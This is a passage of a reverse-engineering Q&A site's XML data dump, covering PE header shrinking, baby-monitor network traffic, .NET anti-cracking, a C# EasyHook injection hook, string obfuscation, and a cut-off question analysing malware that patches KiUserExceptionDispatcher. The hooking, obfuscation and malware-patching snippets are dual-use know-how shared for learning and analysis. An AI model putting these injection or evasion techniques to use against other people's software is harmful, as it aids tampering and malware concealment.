EXECUTABLE_IMAGE|32BIT_MACHINE|RELOCS_STRIPPED|LINE_NUMS_STRIPPED|LOCAL_SYMS_STRIPPED&#xA;00400024  /.  0B01                                       DW 10B                            ; DOS_OEM_ID = 10B&#xA;00400026  |.  0147                                       DW 4701                           ; DOS_OEM_Info = 4701&#xA;00400028  |.  00020000                                   DD 00000200                       ; SizeOfCode = 512.&#xA;0040002C  |.  00020000                                   DD 00000200                       ; SizeOfInitializedData = 512.&#xA;00400030  |.  00000000                                   DD 00000000                       ; SizeOfUninitializedData = 0&#xA;00400034  |.  00100000                                   DD 00001000                       ; AddressOfEntryPoint = 1000&#xA;00400038  |.  00100000                                   DD 00001000                       ; BaseOfCode = 1000&#xA;0040003C  |.  0C000000                                   DD 0000000C                       ; DOS_PEOffset = 0C&#xA;00400040  |.  00004000                                   DD 00400000                       ; ImageBase = 400000&#xA;00400044  |.  00100000                                   DD 00001000                       ; SectionAlignment = 1000&#xA;00400048  |.  00020000                                   DD 00000200                       ; FileAlignment = 200&#xA;0040004C  |.  0100                                       DW 1                              ; MajorOSVersion = 1&#xA;0040004E  |.  0000                                       DW 0                              ; MinorOSVersion = 0&#xA;00400050  |.  0000                                       DW 0                              ; MajorImageVersion = 0&#xA;00400052  |.  0000                                       DW 0                              ; MinorImageVersion = 0&#xA;00400054  |.  0300                                       DW 3                              ; MajorSubsystemVersion = 3&#xA;00400056  |.  0A00                                       DW 0A                             ; MinorSubsystemVersion = 10.&#xA;00400058  |.  00000000                                   DD 00000000                       ; Win32VersionValue = 0&#xA;0040005C  |.  E4100000                                   DD 000010E4                       ; SizeOfImage = 4324.&#xA;00400060  |.  00020000                                   DD 00000200                       ; SizeOfHeaders = 512.&#xA;00400064  |.  53C80000                                   DD 0000C853                       ; CheckSum = 0C853&#xA;00400068  |.  0300                                       DW 3                              ; Subsystem = IMAGE_SUBSYSTEM_WINDOWS_CUI&#xA;0040006A  |.  0000                                       DW 0                              ; DLLCharacteristics = 0&#xA;0040006C  |.  00100000                                   DD 00001000                       ; SizeOfStackReserve = 4096.&#xA;00400070  |.  00100000                                   DD 00001000                       ; SizeOfStackCommit = 4096.&#xA;00400074  |.  00000100                                   DD 00010000                       ; SizeOfHeapReserve = 65536.&#xA;00400078  |.  00000000                                   DD 00000000                       ; SizeOfHeapCommit = 0&#xA;0040007C  |.  00000000                                   DD 00000000                       ; LoaderFlags = 0&#xA;00400080  \.  10000000                                   DD 00000010                       ; NumberOfRvaAndSizes = 16.&#xA;00400084  /.  00000000                                   DD 00000000                       ; Export Table address = 0&#xA;00400088  |.  00000000                                   DD 00000000                       ; Export Table size = 0&#xA;0040008C  |.  94100000                                   DD 00001094                       ; Import Table address = 1094&#xA;00400090  |.  50000000                                   DD 00000050                       ; Import Table size = 80.&#xA;00400094  |.  00000000                                   DD 00000000                       ; Resource Table address = 0&#xA;00400098  |.  00000000                                   DD 00000000                       ; Resource Table size = 0&#xA;0040009C  |.  00000000                                   DD 00000000                       ; Exception Table address = 0&#xA;004000A0  |.  00000000                                   DD 00000000                       ; Exception Table size = 0&#xA;004000A4  |.  00000000                                   DD 00000000                       ; Certificate File pointer = 0&#xA;004000A8  |.  00000000                                   DD 00000000                       ; Certificate Table size = 0&#xA;004000AC  |.  00000000                                   DD 00000000                       ; Relocation Table address = 0&#xA;004000B0  |.  00000000                                   DD 00000000                       ; Relocation Table size = 0&#xA;004000B4  |.  00000000                                   DD 00000000                       ; Debug Data address = 0&#xA;004000B8  |.  00000000                                   DD 00000000                       ; Debug Data size = 0&#xA;004000BC  |.  00000000                                   DD 00000000                       ; Architecture Data address = 0&#xA;004000C0  |.  00000000                                   DD 00000000                       ; Architecture Data size = 0&#xA;004000C4  |.  00000000                                   DD 00000000                       ; Global Ptr address = 0&#xA;004000C8  |.  00000000                                   DD 00000000                       ; Reserved = 00000000&#xA;004000CC  |.  00000000                                   DD 00000000                       ; TLS Table address = 0&#xA;004000D0  |.  00000000                                   DD 00000000                       ; TLS Table size = 0&#xA;004000D4  |.  00000000                                   DD 00000000                       ; Load Config Table address = 0&#xA;004000D8  |.  00000000                                   DD 00000000                       ; Load Config Table size = 0&#xA;004000DC  |.  00000000                                   DD 00000000                       ; Bound Import Table address = 0&#xA;004000E0  |.  00000000                                   DD 00000000                       ; Bound Import Table size = 0&#xA;004000E4  |.  00000000                                   DD 00000000                       ; Import Address Table address = 0&#xA;004000E8  |.  00000000                                   DD 00000000                       ; Import Address Table size = 0&#xA;004000EC  |.  00000000                                   DD 00000000                       ; Delay Import Descriptor address = 0&#xA;004000F0  |.  00000000                                   DD 00000000                       ; Delay Import Descriptor size = 0&#xA;004000F4  |.  00000000                                   DD 00000000                       ; COM+/CLI Header address = 0&#xA;004000F8  |.  00000000                                   DD 00000000                       ; COM+/CLI Header size = 0&#xA;004000FC  |.  00000000                                   DD 00000000                       ; Reserved = 00000000&#xA;00400100  \.  00000000                                   DD 00000000                       ; Reserved = 00000000&#xA;00400104  /.  2E 66 6C 61 74 00 00 00                    ASCII &quot;.flat&quot;,0,0,0               ; Name[8] = &quot;.flat&quot;&#xA;0040010C  |.  E4000000                                   DD 000000E4                       ; VirtualSize = 228.&#xA;00400110  |.  00100000                                   DD 00001000                       ; VirtualAddress = 1000&#xA;00400114  |.  D2000000                                   DD 000000D2                       ; SizeOfRawData = 210.&#xA;00400118  |.  00020000                                   DD 00000200                       ; PointerToRawData = 200&#xA;0040011C  |.  00000000                                   DD 00000000                       ; PointerToRelocations = 0&#xA;00400120  |.  00000000                                   DD 00000000                       ; PointerToLineNumbers = 0&#xA;00400124  |.  0000                                       DW 0                              ; NumberOfRelocations = 0&#xA;00400126  |.  0000                                       DW 0                              ; NumberOfLineNumbers = 0&#xA;00400128  \.  600000E0                                   DD E0000060                       ; Characteristics = CODE|INITIALIZED_DATA|EXECUTE|READ|WRITE&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;So my question: what can I remove from headers and improve on imports to make them smaller?&lt;/strong&gt;&lt;/p&gt;&#xA;" OwnerUserId="12419" LastActivityDate="2015-05-05T09:56:07.103" Title="Reducing PE Headers" Tags="|disassembly|assembly|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="8795" PostTypeId="1" CreationDate="2015-05-03T03:53:31.087" Score="1" ViewCount="158" Body="&lt;p&gt;The iBaby M6 is a pretty cool baby monitoring system with neat features.  It has Android and iPhone apps but unfortunately, there's no PC interface.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I was thinking that if the camera was broadcasting video, it should be possible to use VLC on a PC or Linux to watch the broadcast video and perhaps sound.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;From the setup instructions, I know the iBaby has net connectivity through your home wifi.  Yet when I look at my modem/router's list of clients, I don't see it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm currently in the Android app looking at my baby, and logged into my modem, looking at the list of attached clients.  I don't see the iBaby in the list of wireless clients (or any clients at all).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How is this possible?&lt;/p&gt;&#xA;" OwnerUserId="12422" LastActivityDate="2015-05-03T07:51:55.297" Title="Reverse Engineering an iBaby M6" Tags="|hardware|networking|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8796" PostTypeId="2" ParentId="8794" CreationDate="2015-05-03T04:45:57.167" Score="5" Body="&lt;p&gt;You need to know about the &lt;code&gt;PE&lt;/code&gt; format in detail. There are quite a few header entries which can be removed to make the &lt;code&gt;PE&lt;/code&gt; as small as possible. However doing this is generally not recommended as this is an undocumented feature and may break compatibility across various Windows versions. Moreover, your file is more likely to trigger alerts from Anti-Virus products.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;&lt;a href=&quot;http://www.phreedom.org/research/tinype/&quot; rel=&quot;nofollow&quot;&gt;Here&lt;/a&gt;&lt;/em&gt; is a great article about creating the smallest possible &lt;code&gt;PE&lt;/code&gt;. Much of the information had been obtained by fuzzing the file format, so the previous warnings apply.&lt;/p&gt;&#xA;" OwnerUserId="1413" LastEditorUserId="4437" LastEditDate="2015-05-05T09:56:07.103" LastActivityDate="2015-05-05T09:56:07.103" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8798" PostTypeId="2" ParentId="8795" CreationDate="2015-05-03T07:51:55.297" Score="1" Body="&lt;p&gt;I'd imagine this is a limitation of your router/AP that is preventing you from seeing the connection. Different routers do it differently - some show all associated WiFi clients, other only clients using DHCP, some anything that has shown up on ARP. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The iBaby M6 manual download doesn't appear to work at the moment, but reading the &lt;a href=&quot;https://ibabylabs.com/support/m6-general-usage&quot; rel=&quot;nofollow&quot;&gt;questions on their site&lt;/a&gt;, it sounds like you had to connect a USB cable to transfer the WiFi settings into the camera before it would connect. It then appears to be a &quot;cloud&quot; based (read &quot;connects to an external server). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The only way you are really going to see what is going on is sniffing or proxying the traffic from your phone. I would suggest using something like Burp Suite or Fiddler to do this, and see what is going on.&lt;/p&gt;&#xA;" OwnerUserId="1388" LastActivityDate="2015-05-03T07:51:55.297" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8800" PostTypeId="1" CreationDate="2015-05-03T17:50:22.737" Score="0" ViewCount="56" Body="&lt;p&gt;Ok, I know that every obfuscated &lt;strong&gt;.Net application&lt;/strong&gt; can be reverse engineered.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And I know that it is better if I go the open source way if possible. But unfortunately I cannot because there is no copyright law to protect me where I live.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So I've come up with a plan to make it harder. Since I'm very very novice regarding the security I hope that you will help me find any loopholes in this plan.&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;The user downloads the application&lt;/li&gt;&#xA;&lt;li&gt;The user enters his username/password and starts working&lt;/li&gt;&#xA;&lt;li&gt;He need to export the results to a specific file format&lt;/li&gt;&#xA;&lt;li&gt;The application connects to the server, and checks the username/password&lt;/li&gt;&#xA;&lt;li&gt;The data required to create the file are sent to the server &lt;/li&gt;&#xA;&lt;li&gt;The server creates the file on the server and sends it back to the user&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Now if someone cracks the program by bypassing the username/password check the file won't be sent from the server and he won't be able to get the file he wants, something similar software as a service.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now I want to know if this is the correct way to go? What suggestions to make it better?&lt;/p&gt;&#xA;" OwnerUserId="12427" LastActivityDate="2015-05-03T18:35:11.943" Title="Is the security of this .net application flawed?" Tags="|.net|software-security|security|" AnswerCount="1" CommentCount="2" ClosedDate="2015-05-15T16:31:00.933" ContentLicense="CC BY-SA 3.0" />
  <row Id="8801" PostTypeId="2" ParentId="8800" CreationDate="2015-05-03T18:35:11.943" Score="2" Body="&lt;p&gt;If the whole purpose of your application is to let the user input some data and then create a file in a specific file format from that data and you want to prevent unauthorized users from doing that, then yes, moving the file creation to a server will prevent that.&lt;/p&gt;&#xA;&lt;p&gt;Though there are still some things to keep in mind:&lt;/p&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;You need to secure your server. If an attacker can breach your server and copy your code from there, no authentication scheme will help you.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;You somehow need to make sure that unauthorized users won't get their hands on a valid username/password combination.&lt;/p&gt;&#xA;&lt;p&gt;For example, imagine an authorized user publishes their username and password somewhere. How will you detect it and how will you deal with it?&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Your application could still help an attacker with reverse-engineering the file format itself (but not your code directly). For example, they could try input various data into your application and observe how does the output file change.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Consider getting rid of the client application and instead make your application web-based.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="3615" LastEditorUserId="-1" LastEditDate="2020-06-17T09:54:32.040" LastActivityDate="2015-05-03T18:35:11.943" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="8804" PostTypeId="1" CreationDate="2015-05-04T06:37:03.600" Score="1" ViewCount="776" Body="&lt;p&gt;I am trying to retrieve text from another program. I used &lt;em&gt;Ollydbg&lt;/em&gt; to find the address for the function I need to hook to get the info. I used &lt;strong&gt;&lt;em&gt;EasyHook&lt;/em&gt;&lt;/strong&gt; to inject the code below. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The hook works fine until I call the original function. It crashes each time I do. I think it may have something to do with the return type of the function. Since I am new to reversing, I am having trouble determining the correct return type. I tried several different return types ranging from void to int. After the function returns, &lt;code&gt;EAX&lt;/code&gt; points to a unicode string but the value isn't used. From what I read, &lt;code&gt;EAX&lt;/code&gt; is where a returned variable would be stored.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Update:&lt;/strong&gt;&#xA;&lt;br&gt;I now see that this exception is occurring. &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;System.AccessViolationException: Attempted to read or write protected memory. This is often an indication that other memory is corrupt.&#xA;   at ServerDLL.Injector.DoSomeThingDelegate.Invoke(Int32 argument1, Int32 argument2)&#xA;   at ServerDLL.Injector.DoSomeThing(Int32 argument1, Int32 argument2)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Calling the function:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Address   Hex dump          Command                                  Comments&#xA;00425373  |.  894424 04     MOV DWORD PTR SS:[ESP+4],EAX             ; /Arg2&#xA;00425377  |.  8B45 A8       MOV EAX,DWORD PTR SS:[EBP-58]            ; |&#xA;0042537A  |.  890424        MOV DWORD PTR SS:[ESP],EAX               ; |Arg1&#xA;0042537D  |.  E8 8EC3FFFF   CALL DoSomething;&#xA;00425382  |.  8B4D 8C       MOV ECX,DWORD PTR SS:[EBP-74]&#xA;00425385  |.  8B45 A8       MOV EAX,DWORD PTR SS:[EBP-58]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt; &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;static string DoSomeThing(int argument1, int argument2)&#xA;{&#xA;    Log.WriteLine(argument1);&#xA;    Log.WriteLine(argument2);&#xA;    DoSomeThingDelegate del = Marshal.GetDelegateForFunctionPointer(new IntPtr(0x421810), typeof(DoSomeThingDelegate)) as DoSomeThingDelegate;&#xA;    if (del == null) return &quot;&quot;;&#xA;    return del(seatnumber, stack); &#xA;}&#xA;&#xA;[UnmanagedFunctionPointer(CallingConvention.Cdecl, SetLastError = true, CharSet = CharSet.Auto)]&#xA;delegate string DoSomeThingDelegate(int argument1, int argument2);&#xA;&#xA;public void Run(RemoteHooking.IContext InContext, String InArg1)&#xA;{&#xA;    CreateRecvHook = LocalHook.Create(new IntPtr(0x421810), new  DoSomeThingDelegate(DoSomeThing), this);&#xA;    CreateRecvHook.ThreadACL.SetExclusiveACL(new Int32[] { 0 });&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="12433" LastEditorUserId="13606" LastEditDate="2015-12-16T23:03:55.393" LastActivityDate="2015-12-16T23:03:55.393" Title="Why does calling the original function from my hook fail?" Tags="|assembly|ollydbg|c#|injection|" AnswerCount="0" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="8805" PostTypeId="1" AcceptedAnswerId="8810" CreationDate="2015-05-04T06:38:18.507" Score="0" ViewCount="356" Body="&lt;p&gt;I want to know which DLL is loaded/unloaded in which process (globally).&#xA;The purpose is to find a process loading and unloading DLLs on the fly.&#xA;I use following breakpoints in windbg (kd), but nothing found!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;bp kernel32!LoadlibraryA &quot;da poi(esp+4);g&quot;&#xA; bp kernel32!LoadlibraryW &quot;du poi(esp+4);g&quot;&#xA;&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;any user/kernel mode ida?&lt;/p&gt;&#xA;" OwnerUserId="12323" LastEditorUserId="12323" LastEditDate="2015-05-04T06:46:59.547" LastActivityDate="2015-05-04T14:56:50.440" Title="Dynamic list of user-mode dlls in windows" Tags="|windows|" AnswerCount="1" CommentCount="0" ClosedDate="2015-05-05T20:18:55.997" ContentLicense="CC BY-SA 3.0" />
  <row Id="8806" PostTypeId="1" CreationDate="2015-05-04T12:17:33.283" Score="3" ViewCount="1497" Body="&lt;p&gt;I want to script a x86Emu plugin (an IDA emulator) with IdaPython. It's registered idc functions. Below is function names from the plugin source code.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;/* add IDC functions for interacting with the emulator&#xA;EmuRun();&#xA;EmuTrace();&#xA;EmuStepOne();&#xA;EmuTraceOne();&#xA;EmuSync();&#xA;EmuGetReg(regno);&#xA;EmuSetReg(regno, value);&#xA;EmuAddBpt(addr);&#xA;*/&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This functions works well in idc. I found a class calling idc function in &lt;code&gt;idaapi.py&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;class _IdcFunction(object):&#xA;&quot;&quot;&quot;&#xA;Internal class that calls pyw_call_idc_func() with a context&#xA;&quot;&quot;&quot;&#xA;def \_\_init\_\_(self, ctxptr):&#xA;    self.ctxptr = ctxptr&#xA;    # Take a reference to the ctypes callback&#xA;    # (note: this will create a circular reference)&#xA;    self.cb   = _IDCFUNC_CB_T(self)&#xA;fp_ptr = property(lambda self: ctypes.cast(self.cb, ctypes.c_void_p).value)&#xA;def \_\_call\_\_(self, args, res):&#xA;    return call_idc_func__(self.ctxptr, args, res)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;When I type this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import ctypes&#xA;idaapi._IdcFuntion( ctypes ).\_\_call\_\_( 'EmuStepOne', ctypes.c_voidp ) &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I get the following error:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;ctypes.ArgumentError: argument 1: &amp;lt;type 'exceptions.TypeError'&amp;gt;: Don't know how to convert parameter 1&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I don't know why I get this error, has anyone an idea ?&lt;/p&gt;&#xA;" OwnerUserId="11657" LastEditorUserId="53" LastEditDate="2015-05-04T15:31:23.900" LastActivityDate="2016-09-11T23:57:03.500" Title="How to call idc function with idapython" Tags="|ida|idapython|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="8807" PostTypeId="2" ParentId="8793" CreationDate="2015-05-04T12:31:58.777" Score="9" Body="&lt;p&gt;&lt;strong&gt;I would start with not have critical strings in memory in linear manner&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Instead each character can be offseted by some offset like by table mixing all the strings together. For example you got &lt;code&gt;0123456789&lt;/code&gt; if you store them in memory like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;|0x1xx2xxx3xxxx4|&#xA;|xxxxx5xxxxxx6xx|&#xA;|xxxx7xxxxxxxx8x|&#xA;|xxxxxxxx9xxxxxx|&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;where &lt;code&gt;x&lt;/code&gt; is anything or another string ... it is pretty hard to get the meaning.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Next level is even better&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;//---------------------------------------------------------------------------&#xA;const int N=16384;&#xA;char txt[N];    // my texts&#xA;int  ofs[N];    // randomized offsets&#xA;//---------------------------------------------------------------------------&#xA;void ofs_init()                 // randomize offsets&#xA;    {&#xA;    int i,j,a;&#xA;    // here set RandSeed if you need to reproduce same behavior (like for using with files)&#xA;    for (i=0;i&amp;lt;N;i++) ofs[i]=i;&#xA;    for (i=0;i&amp;lt;N;i++) { j=Random(N); a=ofs[i]; ofs[i]=ofs[j]; ofs[j]=a; }&#xA;    }&#xA;//---------------------------------------------------------------------------&#xA;void ofs_write(int adr,char a) // linear to ofset encoding&#xA;    {&#xA;    txt[ofs[adr]]=a;&#xA;    }&#xA;//---------------------------------------------------------------------------&#xA;char ofs_read(int adr) // linear to ofset decoding&#xA;    {&#xA;    return txt[ofs[adr]];&#xA;    }&#xA;//---------------------------------------------------------------------------&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So create offset table on runtime which will randomly map linear string offsets to nonlinear offsets. This is very hard to decode because it mixes all strings together (and if they are hashes) then without stepping is almost impossible to decode this (not knowing what it does of coarse).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here an example of how to use it and how output looks:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;// [encode] + save to file for output comparison&#xA;// AnsiString s holds oll my texts (an image in this case)&#xA;Randomize();&#xA;ofs_init();&#xA;for (i=0;i&amp;lt;s.Length();i++) ofs_write(i,s[i+1]);&#xA;i=FileCreate(&quot;picenc.txt&quot;); FileWrite(i,txt,N); FileClose(i);&#xA;// [decode] you should not decode critical strings to memory rather decode each char only when needed instead&#xA;// I decode the whole thing to save to file for output comparison&#xA;for (i=0;i&amp;lt;s.Length();i++) s[i+1]=ofs_read(i);&#xA;i=FileCreate(&quot;picdec.txt&quot;); FileWrite(i,s.c_str(),s.Length()); FileClose(i);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And the results are like this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/2dOxN.png&quot; alt=&quot;output&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;On the left is decoded text &lt;code&gt;picdec.txt&lt;/code&gt; and on the right is encoded text &lt;code&gt;picenc.txt&lt;/code&gt; this is how the strings looks in memory.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;On top of this you can add any kind of encryption (not only to text itself but to offset table also ...)&lt;/p&gt;&#xA;" OwnerUserId="4709" LastEditorUserId="4709" LastEditDate="2018-09-11T10:27:27.190" LastActivityDate="2018-09-11T10:27:27.190" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="8808" PostTypeId="2" ParentId="8793" CreationDate="2015-05-04T14:07:51.387" Score="6" Body="&lt;p&gt;There are a number of ways to accomplish what you've stated.  Generally, more robust techniques, while affording a higher level of protection, will also put more burden on the programmer creating the software.  So in approximately increasing order of difficulty, here are some ideas:&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Store the data non-contiguously&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;The simplest approach is to simply not store the data contiguously.  That is, store the data in separate pieces and reassemble it at runtime just before you need it.  With this as with all of the other techniques, it's generally recommended to keep the value in memory for as short a duration as is practical.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Obfuscate the stored data&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;There are many ways to obfuscate data.  One simple method is to simply XOR with some fixed constant.  A more sophisticated approach is to encrypt the data, but unless you have some secure way to store the encryption key, this might not actually offer that much more security.  One possibility would be to use a cryptographic hash of the entire program (minus the protected data) as the encryption key.  This would largely prevent alteration of the binary as well as providing a non-obvious way to store the key.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Recalculate the data at runtime&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;If you can avoid storing the data at all, we eliminate the problem of being able to derive it from static analysis.  If you are precomputing hashes of certain data for performance reasons, consider doing so at program startup instead of at compile time.  Alternatively, if the data is fixed, consider writing a polymorphic generator which could be included at compile time.  That is, write a program that takes a fixed constant and generates code which, when run, produces that value without explicitly including it.  Then link the generated code with your program.  Because the polymorphic generator would be part of the build process rather than part of the runtime, it is much less likely to trigger a A/V warning.&lt;/p&gt;&#xA;&#xA;&lt;h3&gt;Proof of concept for this idea&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;I wrote a little program in C++ to more fully demonstrate this technique.  Here is the program:&lt;/p&gt;&#xA;&#xA;&lt;h3&gt;linear.cpp&lt;/h3&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;#include &amp;lt;iostream&amp;gt;&#xA;#include &amp;lt;cstdlib&amp;gt;&#xA;#include &amp;lt;random&amp;gt;&#xA;&#xA;int main(int argc, char *argv[])&#xA;{&#xA;    std::random_device rd;&#xA;    std::uniform_int_distribution&amp;lt;&amp;gt; r{-32768,32767};&#xA;&#xA;    for (int i=1; i &amp;lt; argc; ++i) {&#xA;        int y = std::atoi(argv[i]);&#xA;        int x;&#xA;        for (x=r(rd); x==0; x= r(rd));  // make sure x!=0&#xA;        int m = r(rd);&#xA;        int b = y-m*x;&#xA;        std::cout &amp;lt;&amp;lt; &quot;int generate&quot; &amp;lt;&amp;lt; i &amp;lt;&amp;lt; &quot;(int x) { return x * &quot; &amp;lt;&amp;lt; m &amp;lt;&amp;lt; &quot; + &quot; &amp;lt;&amp;lt; b &amp;lt;&amp;lt; &quot;; }\n&quot;;&#xA;        std::cout &amp;lt;&amp;lt; &quot;\tassert(&quot; &amp;lt;&amp;lt; y &amp;lt;&amp;lt; &quot; == generate&quot; &amp;lt;&amp;lt; i &amp;lt;&amp;lt; &quot;(&quot; &amp;lt;&amp;lt; x &amp;lt;&amp;lt; &quot;));\n&quot;;&#xA;&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;h3&gt;How it works&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;This is a very simple program that takes a series of integers as input and creates one linear function per integer.  For example, with this command line:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;./linear 39181 3802830 938833 -41418699&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The program generated the following output:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;int generate1(int x) { return x * -5646 + 182450149; }&#xA;    assert(39181 == generate1(32308));&#xA;int generate2(int x) { return x * -14922 + 10696794; }&#xA;    assert(3802830 == generate2(462));&#xA;int generate3(int x) { return x * -15424 + -320805807; }&#xA;    assert(938833 == generate3(-20860));&#xA;int generate4(int x) { return x * -8144 + -127093579; }&#xA;    assert(-41418699 == generate4(-10520));&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The &lt;code&gt;assert&lt;/code&gt;s are simply there for documentation and testing.  In real usage, if you want to recreate the constant &lt;code&gt;39181&lt;/code&gt; in your code, you would use &lt;code&gt;generate1(32308)&lt;/code&gt;.  If we rearrange the lines into a full program, we get this:&lt;/p&gt;&#xA;&#xA;&lt;h3&gt;tryme.cpp&lt;/h3&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;int generate1(int x) { return x * -5646 + 182450149; }&#xA;int generate2(int x) { return x * -14922 + 10696794; }&#xA;int generate3(int x) { return x * -15424 + -320805807; }&#xA;int generate4(int x) { return x * -8144 + -127093579; }&#xA;#include &amp;lt;cassert&amp;gt;&#xA;int main() {&#xA;    assert(39181 == generate1(32308));&#xA;    assert(3802830 == generate2(462));&#xA;    assert(938833 == generate3(-20860));&#xA;    assert(-41418699 == generate4(-10520));&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Obviously, you could multiply or concatenate these if you need longer numbers or strings, and my choice of linear functions with the random number value range I chose was entirely arbitrary.  Feel free to substitute and experiment.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Fetch the data remotely&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;Depending on the environment, it may be possible to store the data remotely and then fetch it securely via something like HTTPS when and as needed.  Be aware that doing this could also mean that even an ordinary network outage or misconfigured firewall would render your software inoperable, but you can decide if that is acceptable for your purposes.&lt;/p&gt;&#xA;" OwnerUserId="3557" LastEditorUserId="3557" LastEditDate="2015-05-05T16:01:08.943" LastActivityDate="2015-05-05T16:01:08.943" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="8809" PostTypeId="1" AcceptedAnswerId="8811" CreationDate="2015-05-04T14:18:34.810" Score="1" ViewCount="5668" Body="&lt;p&gt;i am analyzing a piece of malware in which first the address to &quot;KiUserExceptionDispatcher&quot; is obtained(using the Export Name Table, going to Export Ordinal Table and then finally to Export Address Table). Once the address(7773A408) is received, the malware overwrites the first 6 bytes with the following lines :&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;      (here is the finding part)&#xA;                ...&#xA;   mov BYTE PTR DS:[EDX], 68             -&amp;gt; EDX contains ntdll.KiUserExceptionDispatcher&#xA;   mov DWORD PTR DS:[EDX+1], malware.004035C2&#xA;   mov BYTE PTR DS:[EDX+5], 0C3&#xA;   ....&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So, the hex window at 7773A408 (address of KiUserExceptionDispatcher) changes in the following way:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;  7773A408   FC 8B 4C 24 | 04 8B .... (and so on)    &amp;lt;- original&#xA;&#xA;  7773A408   68 C2 35 40 | 00 C3 .....(and so on)    &amp;lt;- after overwriting&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So, what happens then is 